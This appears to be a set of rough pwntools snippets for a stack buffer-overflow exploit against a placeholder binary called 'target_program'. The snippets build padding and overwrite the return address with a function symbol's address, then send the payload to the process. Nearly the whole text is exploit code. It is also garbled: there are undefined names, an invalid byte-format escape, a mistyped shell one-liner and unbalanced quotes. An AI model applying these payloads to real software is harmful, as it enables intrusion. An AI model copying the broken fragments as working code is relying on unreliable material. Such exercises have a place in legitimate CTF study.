BOF

import struct

import pwn

e = ELF('./target_program')

padd = "AAAAABBBBCCCCDDDDEEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWYYYYXXXXZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyyzzzz1111222233334444555566667777888899990000deadbeefsnowtreerockhailrainfourfive"

addr = 0xdeadbeef #REPLACE WITH ADDRESS, converted in SHELLCODE FUNCTION

sym_addr = e.symbols['addr']

shellcode = ''.join('\x{:02x}'.format(b) for b in struct.pack('<I', sym_addr)) #upper i

print(shellcode)

from pwn import *
e = ELF('/target_program')
payload = cyclic(32)
payload += p32(e.symbols['misc'])
print(hex(e.symbols['misc']))
p = process('target_program')
p.sendline(payload)
p.interactive()

''''
f=open('exploit', 'wb')
f.write(payload)
f.close()
''''

python3 test.py $(python - c 'print "A"*32 + "\xef\xbe\xad\xde"')

from pwn import *
e = ELF('./target_program')
payload = cyclic(32) + p32(e.symbols['misc'])
print(f"Payload: {payload}")
p = process(['target_program', payload])
print(p.recv().decode())
p.close()

Untitled